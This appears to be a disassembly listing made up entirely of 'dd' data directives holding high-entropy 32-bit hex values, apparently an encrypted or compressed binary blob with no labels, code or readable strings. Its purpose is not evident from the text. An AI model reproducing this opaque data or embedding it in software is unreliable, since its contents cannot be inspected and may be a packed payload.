		dd 2EEE4E91h, 8CF450DFh, 1F9C954h, 0FDC8C760h, 211BB5Fh
		dd 0E972BD5Dh, 1FCA1A78h, 0EF5478ABh, 55A57B26h, 316BB64Ch
		dd 0ABC6217h, 0E1224608h, 0B6259C98h, 705EDC79h, 2C5F685Dh
		dd 3914EEB6h, 291AFB41h, 5677A4DAh, 6B0B3C66h, 9A502A85h
		dd 537940B7h, 0E9330CE4h, 296EDDFFh, 121BCCD6h,	7569DF14h
		dd 2665F9D9h, 614B5AECh, 61498E03h, 8BF0209Dh, 2AFD5C13h
		dd 0DCD2D201h, 0C9D388Dh, 1B14042Fh, 4AACAD01h,	94E3C285h
		dd 4143051Fh, 0E801777Dh, 0E907412Dh, 68872447h, 461A0825h
		dd 26B27FA0h, 8F97DECBh, 590507E8h, 0AB85F419h,	4C0A4438h
		dd 19E6D056h, 6C238898h, 97B2B83Eh, 0BAD225F8h,	5DBA4AA4h
		dd 0B84F2D56h, 154593A7h, 8A92EA12h, 0B091C1E5h, 0CAC7432Fh
		dd 0AE7C62C4h, 57F1D22Dh, 0AB727DB8h, 680536BBh, 0FDE776B7h
		dd 5BDBF210h, 43C98CADh, 0D6B94BA0h, 0E048AF87h, 2B4C01FAh
		dd 0F1012898h, 0B02FFF71h, 477F7473h, 381FF70Fh, 0B3029252h
		dd 7F8237E1h, 0EBA40583h, 0F978C76Bh, 6BF28A73h, 16FD40A5h
		dd 6AF6531Dh, 3EE34E5Bh, 0B1A3FC79h, 3EF5ED39h,	0AC14C877h
		dd 0EF895703h, 7857F892h, 95C1821Ah, 97126CBh, 14FDFEE3h
		dd 0A6EE8033h, 6E668103h, 9C6D4CC3h, 3680EE16h,	4B205B4Ah
		dd 67C044CCh, 0D264EB05h, 0C3F6F2AFh, 16085568h, 43AE6981h
		dd 0D9F7CDE5h, 0C5810800h, 32564362h, 135AB0C1h, 8C60C068h
		dd 0D441A886h, 0E516803Ah, 6A5AB78Eh, 0EB6800EFh, 675047F0h
		dd 770C4BB8h, 0C027F41h, 656A101Dh, 936B1230h, 0F18305ABh
		dd 0C456B5h, 0BD184336h, 0C37E298Fh, 90833A25h,	0B08E8AFh
		dd 892A2F35h, 0DBC1AAE2h, 93CB28EDh, 0BA137E21h, 82F55202h
		dd 30DC8Ch, 4FB1055Fh, 134A105h, 7042DD0h, 0D0D4F7E9h
		dd 37B61AC1h, 2F94792Ch, 1E57510h, 0DD2EA3BDh, 0D9CEF75Dh
		dd 0F504BB00h, 0C0541FABh, 3656ED50h, 246CF030h, 40CA58A3h
		dd 0A90BC816h, 0D70575BDh, 2CA85FE3h, 5126982Ah, 7201929h
		dd 0A1F978C5h, 782D5DBEh, 875BFA1Dh, 6F28C5EAh,	10B9C26Eh
		dd 9F987F17h, 97BD6836h, 4EDD0089h, 565B2BD8h, 27E0BE00h
		dd 32E97111h, 0F23954Bh, 33031FECh, 4F6CEDF3h, 0BC91D84Eh
		dd 42FE96FEh, 1A550A5Eh, 4FC35FEDh, 0DD90E3D4h,	0B01D3D1Bh
		dd 67071493h, 1DB0C2Eh,	0F4410EEFh, 6B16B5C9h, 0DE0E783Dh
		dd 0FBF837FEh, 2D8704B4h, 1D0413D7h, 31EF4B51h,	42AA3B4h
		dd 0A0F284BAh, 0A0400B3Ah, 437A02BFh, 0EF814909h, 0E97822DDh
		dd 1B9DC0Ch, 0FC3D5EB9h, 0B233818h, 0AC34Ch, 0A10CC805h
		dd 9F46985Dh, 0E4476500h, 0F9B72DD7h, 0EE51C412h, 9E70AA01h
		dd 0B47A3103h, 0A2C85DD3h, 925D2D5Ch, 0B815572h, 70D997C0h
		dd 44BD8AE6h, 0E85A5A91h, 45C48FAh, 64A740Dh, 9496E8AAh
		dd 4CB002BFh, 63564938h, 7199926Ah, 0AF4EBDC5h,	0CE30A83Dh
		dd 0B46E40ABh, 0E3085C1Eh, 1A8C456h, 8112B65Fh,	0FFA2EAE9h
		dd 4723342Ah, 0CFE5B1F6h, 0C42DBBB2h, 0E1DFB26Ah, 182843A0h
		dd 0D122E94h, 0E72AA26h, 962EDD09h, 6FDF8A3Fh, 3BBC09EBh
		dd 0B000558Bh, 160E2984h, 7BE5E690h, 0D8FF5812h, 1B4FF904h
		dd 5F5EC141h, 0F5EC2760h, 0B510956Fh, 7BEB4A79h, 0AEF869B1h
		dd 1E38FDF2h, 2B08ABB1h, 0ED84C5C9h, 0A2624868h, 0C301C59Dh
		dd 0BA4ABCE3h, 880894DDh, 30FC41AEh, 8B0BCF7Dh,	0E111718h
		dd 0BF59C583h, 0B8AA32C4h, 0D668C487h, 1E535BAh, 717D268h
		dd 0DFC0777h, 0F0BD25E9h, 66E6D5A2h, 4B41C657h,	0EB29841Dh
		dd 0E19692A9h, 753D3BAAh, 5D80C074h, 17C50AE7h,	0FC21985Ah
		dd 7925C7BEh, 45566981h, 5569F75Bh, 0E9E284F1h,	3259D0EBh
		dd 0A7217BDh, 672F0276h, 8BDBAC8Dh, 0A3E2DDE9h,	0FE8F165Dh
		dd 8E8BAAE2h, 0D192A923h, 0B44388C1h, 99AA5D16h, 90AB7CD2h
		dd 55500B96h, 1FB1D352h, 67C80C0Ah, 0E0BEEE4h, 479447Eh
		dd 0CEFEF1FBh, 0EE2D7D8Fh, 5974B04Fh, 0A948BFD2h, 0FE4FB84Eh
		dd 0DD47DCBAh, 9D0B785Dh, 3532C8A0h, 2B59BD80h,	5F095AF0h
		dd 30D112EAh, 20BBC24Eh, 89B3212Fh, 2E1C553Dh, 0DA31D4B5h
		dd 2A4BC341h, 0CE07966h, 523714C9h, 28060C32h, 0F9290D46h
		dd 5F08814Eh, 77CF56Fh,	0D50E7417h, 0C3F5C280h,	0ED8F9B7Dh
		dd 56319349h, 0F8094241h, 0A2046E5Fh, 3F58FD2Eh, 10B4E913h
		dd 0BF0738BAh, 0E247030Fh, 0EE7C038h, 5C3EBB75h, 404F63E9h
		dd 5C083182h, 356FBE5Dh, 73AD330Bh, 0F915E90Dh,	88FBDD2Ah
		dd 1FE53B2h, 40252FBAh,	3F26200Bh, 0B159F582h, 5054C693h
		dd 78EA1645h, 7420B129h, 6351610h, 0B0A20F50h, 606852A7h
		dd 0E3E46E1h, 0C1835E19h, 0C342D188h, 6D917720h, 524AEAC8h
		dd 637CD80Bh, 7A02742Fh, 0EB60DC57h, 4E45E47Dh,	5291C6Ch
		dd 16D804F0h, 1EFDFCC4h, 0B94378B5h, 0A72CE828h, 88AF59A5h
		dd 49002527h, 2D104B6Dh, 7517760Ah, 1E6EB173h, 0A4A7C040h
		dd 0C6895EA1h, 0BDB8659Dh, 0EE2D79C8h, 1B68A275h, 6D98F77Ah
		dd 0DD82B14Ah, 6C60A9F1h, 0B5390B02h, 81038D72h, 0AD3860CDh
		dd 0E9100A46h, 81BC365Ch, 0FD42BBCEh, 1D380021h, 0AD0F54CDh
		dd 4DA4F9Ah, 49361965h,	0A89FF314h, 0D32909AFh,	0F17F535Ah
		dd 547CE95Fh, 0E80291A8h, 0E90D2F14h, 4A6CD0D0h, 6B57F15Fh
		dd 257FCD8Fh, 94DB2F72h, 2E26E941h, 58A7B77Fh, 0A4E61FADh
		dd 29F9125h, 26C6F909h,	0A58A2FB2h, 0E0AEEF87h,	0CF48293Fh
		dd 0DC3825A4h, 64BFE2D3h, 625DCBEAh, 35AFF516h,	0AC2E7BA4h
		dd 486BC4FFh, 7D0459A2h, 0BA22FB35h, 712D284h, 31CC91E2h
		dd 69C127A4h, 9251ED25h, 4EE4DA30h, 0AE65FAEAh,	1EE84012h
		dd 1DA04A2Eh, 123F5CFBh, 0E6E3EA01h, 0A89CE916h, 29AA4F30h
		dd 7C8FFDE7h, 0CF0570A9h, 596EEF80h, 681EC0EBh,	0FFC51BA2h
		dd 9E37D5F2h, 0FF5C3AD2h, 0A6A0E165h, 0A8703D17h, 32CD14EAh
		dd 1E73EA09h, 8200E5FEh, 496E721Dh, 0A00849E9h,	0B505212h
		dd 9F5AFB2h, 1F82DF54h,	58D72039h, 0FF5B2702h, 0C9C18913h
		dd 0F71087EFh, 6B1B40D8h, 5B1EA1Dh, 0E591FB5Eh,	0F248A155h
		dd 124712E1h, 2EFFE029h, 0F393D713h, 0C992FCB2h, 7D5E2BA0h
		dd 0F1B50249h, 25902F6Dh, 501709BEh, 6CBC3533h,	5FC66B0Bh
		dd 0CB01FDD1h, 297CFB95h, 0BB67577Eh, 0CB0F484h, 421641FFh
		dd 0B1F0545Dh, 0EBAE5A67h, 5360676Eh, 23E9B2D4h, 0F0FC8A6Bh
		dd 2490B43Dh, 8158D8AAh
		dd 4CF4ED02h, 580155F9h, 5B0880ECh, 0E089FF83h,	0C5D133C1h
		dd 10539F8Fh, 0C362317Eh, 0C8D48856h, 503B58E5h, 12EAB452h
		dd 9A1077FDh, 36EB002Ch, 52455355h, 2E320E33h, 73C6C64h
		dd 32564441h, 0D984950h, 4CFC544Eh, 780A54E3h, 60041C01h
		dd 25E97836h, 0D68FBE0h, 64A959Fh, 81DA04C0h, 0BF96105Ch
		dd 11114215h, 88B2197h,	8190983Fh, 7744D188h, 1299D021h
		dd 9A2D106Dh, 94106389h, 760F12EDh, 39D981Ah, 0F8011CA3h
		dd 0B28F37h, 3B3EBAD6h,	655D3A59h, 0B8D8D900h, 2D4F5AECh
		dd 0F5F40071h, 7D78FB97h, 3100441Fh, 6EC81B5Dh,	17A97Ch
		dd 0BD0B808Ch, 85B6FB74h, 0ACA03600h, 35D7E004h, 81CC00A2h
		dd 0A57C6C54h, 0CDFE3EDAh, 560E46EEh, 7250FAC5h, 0FE0D01FFh
		dd 0FC77095Bh, 0DB0358C8h, 3D7A76DCh, 9537804Ch, 0A2AC3C02h
		dd 39403AEEh, 849112AEh, 696E2A00h, 0EE7D55B6h,	0D00A0050h
		dd 76010DFh, 0AE13FA86h, 90000E05h, 623311FDh, 0AA3D2DADh
		dd 9B1A8880h, 0A800E484h, 316D0F0Ah, 0D1B3AEh, 44243DC5h
		dd 0CFADAC48h, 0F700A472h, 7E2A764Bh, 9FFDE8h, 1636603h
		dd 89EBEE95h, 14C3DA3Ah, 8EC7ADh, 85E2A53Bh, 38AFBFEh
		dd 0C453F9C2h, 21003AEAh, 3435B14Bh, 1E902647h,	0C31087E0h
		dd 0EF8CFDF4h, 0A537CED8h, 0EC1938h, 0E1A6347Eh, 11B926h
		dd 87E5E481h, 1A6B6E0Bh, 0EE008E77h, 59FF6A5Fh,	30D34C0Ch
		dd 95E33923h, 770115ECh, 0FC9C991Bh, 60C01FA0h,	0B58C0034h
		dd 3A3FBBD7h, 5C0F355Eh, 20D9D864h, 2C4C59EFh, 0F2F50070h
		dd 7A79FA96h, 3208451Eh, 4C91C5Ch, 278D16A8h, 0D1DF6120h
		dd 0D552004Fh, 0D4A5A047h, 93007FD7h, 6F641510h, 7180CF3h
		dd 0DDE112E3h, 0A0261939h, 99004762h, 32FD47FAh, 2B7624h
		dd 8FEF8D88h, 2F7F16B4h, 25A4EB24h, 0DD9B1000h,	361BBEh
		dd 62FDB6F2h, 65089606h, 1072D824h, 0F0909740h,	16197FA4h
		dd 0A0AFF969h, 0CCAC5E02h, 0A7A24000h, 0BD28A9D6h, 61D037E1h
		dd 0DA67D066h, 0B20055C7h, 71D9A6D7h, 109D241h,	0CAB92F4Eh
		dd 0FCEE8A0Bh, 56003231h, 89F3D06h, 53DF71h, 20A1A04Dh
		dd 9423CC8Ah, 0C782B700h, 7B0815ABh, 4AE0F3Ah, 0F71D8001h
		dd 0CF74C1FDh, 8BC8E8DEh, 14762600h, 1C9DEA6Bh,	5FDA04B6h
		dd 835C2B58h, 2300AF99h, 3CDC723Dh, 0DB0B7h, 12A25BC2h
		dd 389B0B84h, 3BEFD2h, 0A668CA88h, 7E75604Eh, 8D0801h
		dd 0E6FEA14h, 72EE38DEh, 83F0F700h, 0AD124CE2h,	93E92845h
		dd 0A0CC09F2h, 805507Ah, 0C54AA1A2h, 6C5580F9h,	0E40DF237h
		dd 0BCCE308Ah, 0E89D1A32h, 0B6F53600h, 23D9320h, 0F1CD0A58h
		dd 1DCFD78h, 97D1ADC4h,	250E81B6h, 0DEAFAA49h, 3BD350E8h
		dd 2F00D9B1h, 0BFFC8D98h, 0D701A73Eh, 82B4E772h, 23E4C15Bh
		dd 80EF078Bh, 0DC2263F3h, 0AD3E5678h, 1C2C8C5h,	3827B8C8h
		dd 0E74717A8h, 5D9249B0h, 590606B0h, 0D2A6B46Fh, 79B6E25h
		dd 0DEE147B5h, 4C80EE9Ah, 0D6F15926h, 5D0079D9h, 932DB862h
		dd 0E0611E13h, 37EB77AAh, 0A0C042CAh, 8B227391h, 0DE9AF40Ch
		dd 18EA1641h, 0F9BDD8Dh, 0E87A4E29h, 905E9326h,	6A300B00h
		dd 4CB6A3FBh, 2200AD54h, 5F583445h, 93072ABDh, 4FE6A2FCh
		dd 0B5F240EEh, 65AFBF1Dh, 9793E88h, 2F80158Ah, 13169D09h
		dd 9059AC00h, 0B06F3312h, 10229D02h, 946A3BBAh,	0D1CDB200h
		dd 3100534Eh, 0A4C4DD65h, 3F4D4CE8h, 9781042Fh,	1E8A16EBh
		dd 6442488h, 3561030Bh,	7A7E008Eh, 484D0B63h, 9B072ECBh
		dd 0C28042C5h, 9684AB57h, 320382D8h, 0FB401D00h, 0EED72574h
		dd 8EBA35C0h, 416CFE00h, 0FD8AFF7Ch, 4A3B0CE1h,	0AEFB9AB7h
		dd 7E0F0204h, 0B80B031h, 3B6FA8B3h, 9D89717Ch, 2580F784h
		dd 362E756h, 44C52202h,	0C0B23FD1h, 3F3EF968h, 0E2397A3Ah
		dd 8964E51Eh, 0D007ED88h, 0DE61710Fh, 0EBC134CDh, 78863408h
		dd 0AD540403h, 58E180D2h, 63003F5Dh, 0F7A3C1DCh, 4D16724Fh
		dd 3A74007Ah, 9805251Dh, 921AACF8h, 0D368B448h,	5F043D38h
		dd 0DB9DF184h, 8E09C094h, 0F9607CCh, 999522E0h,	0B83824FFh
		dd 2AAB0052h, 27CCDCADh, 1EB52002h, 87CB0840h, 0DEF0D4A0h
		dd 1309EEEBh, 0D1A50Fh,	229955F1h, 271E623Ch, 0C2007625h
		dd 0A9D852Eh, 586E4C1Fh, 68922A04h, 0B7084FCh, 0B5AAFDA4h
		dd 23206ED9h, 937C517Dh, 0D0BC3B00h, 0DCB225E7h, 58814815h
		dd 8718B40Ah, 6FEC00FAh, 60E2A6F8h, 81EE1AC1h, 82D08929h
		dd 74D900E1h, 32A56750h, 2800E69Bh, 0E3254C1Ch,	37410FA7h
		dd 0C336F7FCh, 6DC0D84Fh, 12C0ED2Bh, 0C858FEB9h, 9B70501Eh
		dd 9BA40024h, 210866F1h, 2A00CC0Bh, 0A245F3A8h,	0E53373h
		dd 858027B5h, 95E28D2Dh, 5A033B70h, 1C9834CBh, 1720181Dh
		dd 0D6D14C1Eh, 60AD3F24h, 298034C7h, 129B6445h,	0C07976E4h
		dd 0D5AC55EEh, 59DBB700h, 0DF603C5Ch, 0F4A000C0h, 7B17754Ch
		dd 9E76FAFFh, 98241C00h, 19AFFB99h, 306C130Ch, 39D14BB5h
		dd 0F285D200h, 9192DC9Ch, 0CD56E807h, 49917EB9h, 2D74E175h
		dd 0A83E13D2h, 177230BDh, 89031C9Bh, 15774AF7h,	34C7DD79h
		dd 0CD70E0EEh, 65A1FCAh, 8333EC0Ch, 0A800BB1Ch,	3E6A3609h
		dd 4D3B1B4h, 472520C7h,	0CAC8804Bh, 5F0052DEh, 7941163Dh
		dd 0B89CFCFDh, 5A8AB256h, 943AA0E8h, 60F39101h,	0CD37714Dh
		dd 2385A28Fh, 3327802Bh, 3C04D03Eh, 0C7017845h,	0DDB119D3h
		dd 0E43138E2h, 0D3208BEDh, 81140093h, 234144EFh, 0C10C6D4Bh
		dd 5282ABEDh, 0EF7E5439h, 1283605Ah, 0D98E996h,	59DA761Eh
		dd 1E4C2DC7h, 0C06631FCh, 4445E166h, 0F4907837h, 1A3B500h
		dd 89367704h, 13BB00F8h, 4FF5FB87h, 0AF17CD4Ah,	0E34CF1CFh
		dd 3249B6h, 0A64EE275h,	26CEDAABh, 5D5A2B09h, 22010BDCh
		dd 0A3B1FC61h, 0AB6F0684h, 673D0B59h, 6D80B218h, 58CB1C0Ah
		dd 0F1DD272Eh, 4FF4E283h, 0B2BAD848h, 0E4563FD2h, 7376FD8Eh
		dd 0C570AFA0h, 267D8384h, 0A7D4AB01h, 2ECB59C6h, 0D5F58180h
		dd 4E3F3AB9h, 0B3B63207h, 1D20BCC2h, 292CD7h, 21C65A4Bh
		dd 600C8C22h, 0DC106101h, 5D02F838h, 2605D530h,	1F4C7879h
		dd 1360C00Dh, 4A4DE884h, 8934E400h, 9C5EF9B6h, 0ED2BC02Fh
		dd 0A0D5D053h, 8CB46800h, 963C70ACh, 189B5E0Ah,	0ADFDCC98h
		dd 8059EB28h, 18BEF918h, 8FFC64h, 0E1C0BB3Fh, 4742E534h
		dd 0D95A3600h, 0C4F6ADDAh, 0A7CE0007h, 12A9742Bh, 7207FCBCh
		dd 0AFC8345Dh, 0EDE88BE0h, 60E3757Ah, 9C1B1BCDh, 4BBAAA36h
		dd 0A955E700h, 27613DA8h, 0B522C073h, 455764CAh, 0CBB8B900h
		dd 0AF752AE0h, 488FBA04h, 9400038Ch, 1876E1ABh,	0A5179BA1h
		dd 8240C83Ah, 0A92E959Ch, 486800CEh, 526D4D2Fh,	86061D88h
		dd 9BD99FEFh, 98E70022h, 30A2A432h, 360034E0h, 0FAA5DE49h
		dd 2173E5Fh, 7201A959h,	59599D26h, 0DCE17103h, 0B1B2906Eh
		dd 0E48E3C22h, 0A8174983h, 71B9E380h, 0EA8B7038h, 0C963F703h
		dd 0C1504161h, 20D43E31h, 650E008Ah, 0E383116Eh, 0E51777EEh
		dd 8730485Eh, 5AFDFAh, 0F0AA943h, 0A27635A7h, 93020100h
		dd 6BF3681Eh, 0B9F600CBh, 5C208FF8h, 7E000AA0h,	15918122h
		dd 59E69714h, 707468h, 85DA41EFh, 494E5FCh, 0B787F13h
		dd 0C86A3733h, 39F6720Eh, 47CC82F3h, 0CA80063Dh, 55EA86F7h
		dd 6B043976h, 0B9BFCCC9h, 7D7C2582h, 1B4EE946h,	0F22B62CDh
		dd 0BB53E0A1h, 0F51000BFh
		dd 8452B842h, 14FC355h,	68C28BF2h, 4DD722EAh, 5550006Eh
		dd 0D70692BDh, 40FE2F5Eh, 8438F89h, 45E77381h, 0A92DFB0Fh
		dd 0F094B96Bh, 5886E95Ch, 0DF01ACE1h, 9C6EB8C4h, 0C536604Ah
		dd 0AA7DE0F4h, 2D719B00h, 0E55EB5DAh, 34F045h, 5B75FD35h
		dd 1DC541F9h, 0F8911518h, 92B150h, 25FBAF3Bh, 0B9D6307Fh
		dd 0A46D5600h, 0FC9C0240h, 0E86A1866h, 0BE019111h, 99423000h
		dd 7271BFDFh, 0F25C1C7Dh, 163EC069h, 47BA6680h,	0F58ED06h
		dd 0EC390987h, 69183h, 81D68B66h, 6D621CC0h, 27028D1Fh
		dd 0FF3310B1h, 13C00BE8h, 0FD65BCD9h, 2E6F8B7h,	0B44DCC72h
		dd 0D38159F5h, 9800F38h, 0B5B77E89h, 2CEC81FDh,	70981308h
		dd 0FA8912C8h, 0F3DE5250h, 62D1E501h, 8E95163h,	0CE363F80h
		dd 7310E141h, 5A67C60Ch, 0C0606289h, 8093AF58h,	614FA8F5h
		dd 70F08A0h, 0FF81F7B7h, 3C7DEE78h, 0E60F85ADh,	0C0DE8B4Fh
		dd 6C9ABDC9h, 16073CD9h, 9C862367h, 9E420681h, 76BDF9F0h
		dd 9A08C7C1h, 953D8016h, 4333065Ch, 0A04021A3h,	0C08DE6BFh
		dd 0A621A11h, 74501DC9h, 7F19E91Ch, 0EC1148C1h,	70A3B2E4h
		dd 80BE60E7h, 935CADE3h, 7991E960h, 30718DB7h, 0F910C57Ch
		dd 2A105A63h, 0F9FBB60h, 727BEFh, 218DFF22h, 8E741D68h
		dd 64035874h, 126BA19Ah, 5E2001AEh, 0F67BAAD7h,	8A1080A3h
		dd 0A1783B42h, 0FCEB306Fh, 86E8972Ch, 23D7D300h, 846A62A9h
		dd 64110F42h, 0BC87BFC1h, 498C897Fh, 70A0C210h,	4FE22946h
		dd 9D1C0707h, 0DAD375E0h, 936803A8h, 60E2AE19h,	3097B83Dh
		dd 0C03EC0B2h, 0F45D07CCh, 310AA196h, 50FEEDA3h, 0AE428080h
		dd 19687960h, 3C787ACh,	5A827762h, 19005192h, 9609D89Ch
		dd 0EF46061Fh, 0A3AC050h, 0BB720092h, 0DB3ED797h, 640CD04Ch
		dd 61FB938Dh, 667DE3h, 9946E865h, 0B506780Ah, 0F460558h
		dd 0E0C2A397h, 875673E0h, 66EB2A8Eh, 0C8F91CD4h, 0F855801Dh
		dd 0AA7C53D3h, 0F5E880F9h, 89B0CC4h, 0EF29Dh, 24EC783Dh
		dd 0FF27A72h, 0BCAA7B3Bh, 9E800312h, 0F8CD090Dh, 836C14h
		dd 9808A904h, 8278229Bh, 767423E0h, 70B20B1Fh, 5809EE85h
		dd 1F80F81Ch, 75AC9986h, 207CABh, 13F1AA3Ch, 26247C3Fh
		dd 38967B29h, 0C37D4D43h, 957CC221h, 81560E18h,	16E5E9Eh
		dd 0D30913EEh, 0A03DCC94h, 589B2607h, 56C09A7Dh, 61AB0BA1h
		dd 21C5283Eh, 40B4E0A3h, 0A98F8605h, 6803975Ah,	0C11CC3FAh
		dd 39A00AEFh, 4905798h,	89628CDFh, 90F9510h, 56F7C3h, 0EF8BEDB8h
		dd 58710006h, 6AA5C1E2h, 0AB1841A4h, 88308D70h,	3B1188Fh
		dd 0E60D1868h, 0F351900Ch, 30E1167h, 91EC0B86h,	128AAA3Ah
		dd 406196C1h, 25D8C72Ch, 46FEC94Ch, 88BB340Ch, 0E5760C77h
		dd 0ED4E0630h, 58AB0791h, 3CC1EB28h, 91999F2h, 0FB405619h
		dd 0E8830EFDh, 0AFD8C81Bh, 7725590Ah, 0FB857899h, 58040D0Ch
		dd 0E23BA7C8h, 0F9B09D40h, 0EC584EB5h, 0F7598765h, 0F64F0FCh
		dd 3A9012B3h, 0CC201309h, 0D0A9F193h, 338E28C0h, 143FE654h
		dd 0C518B32h, 8C860B04h, 0E5E49363h, 0CF3055E0h, 0CBF24203h
		dd 0A073C4A5h, 0C1F94912h, 0C179B19h, 0C6FC2437h, 6E695500h
		dd 4B8B7103h, 0BEF05F0h, 735BF4Dh, 8461080Ch, 0EA14D36Bh
		dd 0B102F1E3h, 95C07F0Dh, 11649D8Bh, 0B5CB0224h, 0A88FEDC4h
		dd 0BF10BC8Ch, 191EB82h, 9823B890h, 978B80C1h, 0F050DB61h
		dd 0A6EC3F86h, 0E0A050F8h, 5C964C76h, 48F04A11h, 0FEF72248h
		dd 0D9851861h, 0FD49C0B2h, 8CC7DE29h, 0E4463811h, 6831ECA0h
		dd 0B2FDC1ECh, 130B9869h, 16F99021h, 106441AFh,	855C010Bh
		dd 0B8927651h, 85588830h, 0A364B03Fh, 0C723EC64h, 0A9420B5h
		dd 40547601h, 0B52451E0h, 6A640C82h, 0E680914Ah, 0C8C99DFh
		dd 8CDD6928h, 0B84EB716h, 549C042Ah, 0ABCC88EBh, 9B5025E0h
		dd 564423F4h, 12812875h, 49B17E48h, 247F603Bh, 64283EF4h
		dd 0A3805014h, 0C994698h, 8C3D3214h, 0EC4B6D04h, 0B20CCFEFh
		dd 8E02157Fh, 465C6535h, 766C44A8h, 0E76880AEh,	0CDC00C99h
		dd 4942CEFEh, 23AA9CB8h, 4743D442h, 9F0BB164h, 600D21A0h
		dd 0F73B5013h, 8141749h, 0ACC308CFh, 0C5A44374h, 0DF506157h
		dd 0C86A50E1h, 67BF6619h, 0A84D2E51h, 2F1881BEh, 0F1827946h
		dd 0D6AD8A4h, 0E3D95821h, 9FB94C57h, 0AF11EF2Ch, 0A0DF2F88h
		dd 66C530ECh, 42AF1E10h, 0C1ED1A02h, 0CAD1610Bh, 0F17882A0h
		dd 11DC0ACDh, 8D2065Bh,	3186B15h, 96F212FDh, 701FEAD9h
		dd 2022D381h, 9C816822h, 988112BBh, 2384D03Ch, 75C35487h
		dd 0C82DE440h, 0C8E09366h, 8ED8AA8Dh, 3F6F1F3Ch, 2DC26311h
		dd 70F30059h, 3A00BEE7h, 4BAFFE7Bh, 3EBF0CCAh, 0C1074124h
		dd 0C2F19855h, 1485974Ch, 0CC51C1F9h, 56247005h, 995CEAECh
		dd 71E44720h, 11546948h, 27006BD1h, 0E9FE9FE6h,	3B24BDC8h
		dd 9031C477h, 99004485h, 575420F1h, 232647ECh, 108D49Fh
		dd 327C8162h, 4EBF1BABh, 0F7EF1120h, 7227C680h,	0A5E07A0Dh
		dd 0E54CEA03h, 325961h,	99C14AA8h, 0B242C817h, 0C4B90AE8h
		dd 61EFEB01h, 9421D1CDh, 189652D4h, 21402E6Dh, 1AEA2607h
		dd 582BB702h, 0E472BA60h, 0E0D672C8h, 0AA0C00D7h, 969346C6h
		dd 8B1210F1h, 0B800CA14h, 0F57760D2h, 0F0DC9262h, 440D00FFh
		dd 48FBE61Dh, 0DC00B6D0h, 6B998D9h, 3063817Eh, 5DD03C5Eh
		dd 0F0C0582Dh, 9B9E41Dh, 0EB44B0FFh, 86ED5421h,	0DEEA3A00h
		dd 0F5608F63h, 74690761h, 906614B2h, 0ED72F6C0h, 9AA6207h
		dd 8664BDCDh, 80F0A492h, 0A110E4Ch, 0EC680035h,	62D7F4Eh
		dd 0CB0FAE99h, 749647ABh, 5F8F008Fh, 0E62AA552h, 196128B9h
		dd 0D87605A8h, 91115044h, 29F5EB4Ch, 19AC008Ch,	0E7933582h
		dd 0DBCB07A9h, 71588867h, 54520465h, 8080C4F8h,	3F2F2224h
		dd 0B92BBCA8h, 0C4AFCB00h, 8C932D24h, 602C74B4h, 0C1012133h
		dd 0DA00BACBh, 22BD7527h, 73D45D60h, 450530C3h,	7D17058h
		dd 53C71305h, 1A80AD2Eh, 162C748Ch, 10341CCh, 0F0C40BC8h
		dd 70B1808Bh, 0E62931E8h, 0CD41598h, 3B30F017h,	31F5D321h
		dd 269CAE00h, 0A790645h, 2A123C8Eh, 0D9937202h,	0CC8083B1h
		dd 30915921h, 950C1F90h, 1869B5B9h, 0F1EC1B64h,	23A0F98Bh
		dd 78004BFCh, 0CD3E9CDh, 36BD740h, 17F5C41Ah, 69E00B51h
		dd 0A898E124h, 1B0BF00h, 7D5457CCh, 33820094h, 0C5B75902h
		dd 0AD0068A0h, 0A958BCECh, 585B3EC6h, 70425984h, 2031F307h
		dd 32D704E6h, 0FCD02074h, 30006331h, 0B08D19B1h, 2AF84815h
		dd 1BC4405h, 0C010B3C3h, 0C8F6A8EAh, 8800280Ah,	17DB2704h
		dd 0C0739413h, 429E8C28h, 9800848Eh, 9D4A6020h,	0B8505158h
		dd 0C4A328CDh, 12E4EEC4h, 9E0A3Ch, 15668A00h, 0E512FB28h
		dd 30457DB1h, 14910C93h, 88C9688h, 0FEB187F0h, 65D0FB00h
		dd 8AF32813h, 3E5F776Eh, 850CB524h, 0AA299296h,	0A048547Ch
		dd 0FD409DD8h, 3A9D58BAh, 9F260FC8h, 0B44085ECh, 0C708E9F3h
		dd 4CEFD201h, 0DD933F73h, 0B3B024h, 0E7A01E41h,	0A80C76F1h
		dd 0DCAE2D01h, 0B6932501h, 0AE4F0h, 8CA92116h, 0C46C4346h
		dd 3F8D5514h, 1FE899F8h, 16027426h, 1CC4B6CCh, 2103131h
		dd 1902CBBEh, 0BB0DC984h, 50F06BF5h, 0D1F19C48h, 280790E4h
		dd 0B0164EB1h, 8D775F82h, 0E460409Ah, 4E9952C1h, 0CFD40041h
		dd 5885DCC2h, 77521464h, 3030F24Ch, 0CEC6DEEh, 5B6168B4h
		dd 0D0E05572h
		dd 78E52958h, 8EA17A4h,	69813BCCh, 0BCE4DBDEh, 0CCFCFCh
		dd 0CF01CA15h, 0E5F5342Dh, 0C461D4A8h, 0AB598560h, 14E2501Eh
		dd 0DC6D9FFCh, 0F6FD9300h, 4AA920C2h, 0F54CF83Fh, 0A3B14300h
		dd 9991F041h, 0B038h, 587B5DDDh, 0C021FBDh, 0A0A5C326h
		dd 0F53060A8h, 0A34AC18Eh, 5870F011h, 0D6068296h, 211AF437h
		dd 18FDB881h, 0BA4E08B5h, 0F373A295h, 0DC96909Dh, 0D8173E06h
		dd 4C8965A8h, 708190F0h, 0D072943Fh, 71051EB8h,	0F5EF7746h
		dd 9879F4C8h, 352500ACh, 4AF2B3FEh, 0FD02C2EEh,	155DC4B5h
		dd 202C4089h, 0EC3A2599h, 0E2338020h, 0E0C5678Dh, 2820AAE9h
		dd 7991AF0h, 18F8023h, 87FCF140h, 913C31E4h, 9F82FBE0h
		dd 64CAC04Eh, 40E67024h, 154EA748h, 71930244h, 263732A4h
		dd 60FC94A4h, 23BD4EB6h, 0E511AA95h, 4E9E4D0Fh,	0F4CBDC0h
		dd 42078AA3h, 0CF340548h, 0F5619850h, 28E4A13Ah, 8B25CC62h
		dd 6FA45882h, 0F8EE1048h, 6C672000h, 10FB3EDBh,	0B7FD2494h
		dd 0BAEB835Ch, 55D8A086h, 560EA87Ah, 80AD9074h,	0D1E68F6Fh
		dd 24E0B0B7h, 40681B3Ah, 0ED73E372h, 0C0006091h, 0D2E9EB9Dh
		dd 2D4A0066h, 0F00E846Dh, 88BAA961h, 88E42898h,	0B0F88D44h
		dd 0E5172E0Ch, 0F23A4138h, 85618211h, 41A40319h, 0C7840BCh
		dd 9FB750C0h, 8492E458h, 21422F30h, 1A2903CAh, 0B04CDE12h
